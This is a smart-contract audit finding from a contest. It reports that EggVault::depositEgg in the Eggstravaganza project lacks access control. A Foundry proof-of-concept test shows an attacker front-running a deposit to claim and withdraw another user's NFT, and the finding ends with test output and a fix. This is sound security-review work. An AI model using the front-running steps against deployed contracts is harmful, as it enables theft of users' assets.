Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Publicly Accessible EggVault::depositEgg Allows NFT Theft via Front-Running

0xluckyluke

Summary

The EggVault::depositEgg function is vulnerable to front-running attacks due to its public accessibility and lack of access control. This allows malicious actors to intercept and claim NFTs intended for deposit by legitimate users, leading to potential asset theft.

Vulnerability Details

https://github.com/CodeHawks-Contests/2025-04-eggstravaganza/blob/f83ed7dff700c4319bdfd0dff796f74db5be4538/src/EggVault.sol#L29-L35

  • Function Involved: EggVault::depositEgg

  • Root Cause: The function is publicly accessible and does not verify that the depositor is the sender, allowing any address to register as the depositor.

  • Exploit Scenario: An attacker can monitor the blockchain for NFT transfers to the vault and call depositEgg before the legitimate depositor, effectively stealing the NFT.

Add this test file EggVaultVulnerabilityTest.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
​
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
​
contract EggVaultVulnerabilityTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address alice;
address attacker;
​
function setUp() public {
owner = address(this);
alice = address(0xA11CE);
attacker = address(0xBAD);
// Deploy contracts
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Configure contracts
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
// Mint an NFT to Alice via the game contract authority
vm.prank(address(game));
nft.mintEgg(alice, 1);
// Verify Alice owns the token
assertEq(nft.ownerOf(1), alice);
}
/// @notice Test demonstrating the front-running vulnerability
function testFrontRunningVulnerability() public {
// Alice approves the game contract to transfer her NFT
vm.prank(alice);
nft.approve(address(game), 1);
// Step 1: Alice initiates a legitimate deposit
// Here we're simulating the first part of EggHuntGame::depositEggToVault
// which transfers the NFT to the vault
vm.prank(alice);
nft.transferFrom(alice, address(vault), 1);
// Step 2: Attacker front-runs Alice's transaction and calls depositEgg
// claiming themselves as the depositor
vm.prank(attacker);
vault.depositEgg(1, attacker);
// Verify the NFT is now owned by the vault
assertEq(nft.ownerOf(1), address(vault));
// Verify that the attacker is recorded as the depositor
assertTrue(vault.isEggDeposited(1), "NFT should be marked as deposited");
assertEq(vault.eggDepositors(1), attacker, "Attacker should be the depositor");
// Step 3: Alice attempts to withdraw her NFT but fails
vm.prank(alice);
vm.expectRevert("Not the original depositor");
vault.withdrawEgg(1);
// Step 4: Attacker can successfully withdraw the NFT
vm.prank(attacker);
vault.withdrawEgg(1);
// Verify attacker now owns Alice's NFT
assertEq(nft.ownerOf(1), attacker, "Attacker now owns Alice's NFT");
console.log("VULNERABLE: Attacker successfully stole Alice's NFT through front-running!");
}
/// @notice Test to verify a potential fix using access control
function testFixWithAccessControl() public {
// Implement a temporary fix in the vault by adding access control
// This is a simulation of what would happen with the fix
// In a real scenario, we would deploy a fixed contract
// First, set up the same scenario
vm.prank(alice);
nft.approve(address(game), 1);
vm.prank(alice);
nft.transferFrom(alice, address(vault), 1);
// Attacker attempts to call depositEgg but fails
// due to hypothetical access control
console.log("After fix: Attacker attempts to call depositEgg directly");
// This simulation uses the original vault, but logs the expectation
// With the fix, this should revert with an "Unauthorized" message
// We can't actually test the revert here since we haven't modified the contract
vm.prank(attacker);
vault.depositEgg(1, attacker);
console.log("With proper access control, the above call would have reverted");
// Show that with the fix, the game contract would be the only one allowed
// to call depositEgg, protecting Alice's deposit
console.log("After fix: Game contract calls depositEgg (authorized)");
// Simulate a world where this works properly through the game contract
// This would record Alice as the proper depositor
vm.prank(address(game));
console.log("Game would register Alice as the depositor (simulation)");
}
/// @notice Test demonstrating the expected legitimate flow
function testLegitimateFlow() public {
console.log("Testing legitimate deposit flow (for comparison)");
// Alice approves the game contract to transfer her NFT
vm.prank(alice);
nft.approve(address(game), 1);
// In the legitimate flow, the game contract handles the full deposit process:
// 1. Transfer the NFT from Alice to the vault
// 2. Call depositEgg with Alice as the depositor
vm.prank(address(game));
// Simplified version of what depositEggToVault would do
nft.transferFrom(alice, address(vault), 1);
vm.prank(address(game));
vault.depositEgg(1, alice);
// Verify Alice is recorded as the depositor
assertTrue(vault.isEggDeposited(1), "NFT should be marked as deposited");
assertEq(vault.eggDepositors(1), alice, "Alice should be the depositor");
// Alice can successfully withdraw her NFT
vm.prank(alice);
vault.withdrawEgg(1);
// Verify Alice gets her NFT back
assertEq(nft.ownerOf(1), alice, "Alice should have her NFT back");
console.log("Legitimate flow works correctly when access control is respected");
}
}

Run forge test --match-contract "EggVaultVulnerabilityTest" -vvv :

2025-04-eggstravaganza$ forge test --match-contract "EggVaultVulnerabilityTest" -vvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 856.02ms
Compiler run successful!
​
Ran 3 tests for test/EggVaultVulnerabilityTest.t.sol:EggVaultVulnerabilityTest
[PASS] testFixWithAccessControl() (gas: 117829)
Logs:
After fix: Attacker attempts to call depositEgg directly
With proper access control, the above call would have reverted
After fix: Game contract calls depositEgg (authorized)
Game would register Alice as the depositor (simulation)
​
[PASS] testFrontRunningVulnerability() (gas: 145201)
Logs:
VULNERABLE: Attacker successfully stole Alice's NFT through front-running!
​
[PASS] testLegitimateFlow() (gas: 124003)
Logs:
Testing legitimate deposit flow (for comparison)
Legitimate flow works correctly when access control is respected
​
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.13ms (1.92ms CPU time)
​
Ran 1 test suite in 13.40ms (3.13ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
​

Impact

  • Asset Theft: Attackers can steal NFTs by front-running legitimate deposit transactions.

  • Loss of Trust: Users may lose trust in the platform due to the potential for asset theft.

  • Financial Loss: Users may incur financial losses if their NFTs are stolen.

Tools Used

Recommendations

Implement access control to restrict the depositEgg function to be callable only by the EggHuntGame contract:

+ // Add the game contract reference
+ EggHuntGame public eggHuntGame;
​
+ // Add a setter for the game contract
+ function setGameContract(address _gameContract) external onlyOwner {
+ require(_gameContract != address(0), "Invalid game contract address");
+ eggHuntGame = EggHuntGame(_gameContract);
+ }
​
+ // Add access control modifier
+ modifier onlyGameContract() {
+ require(msg.sender == address(eggHuntGame), "Unauthorized");
+ _;
+ }
​
+ // Update the depositEgg function with proper access control
+ function depositEgg(uint256 tokenId, address depositor) external onlyGameContract {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.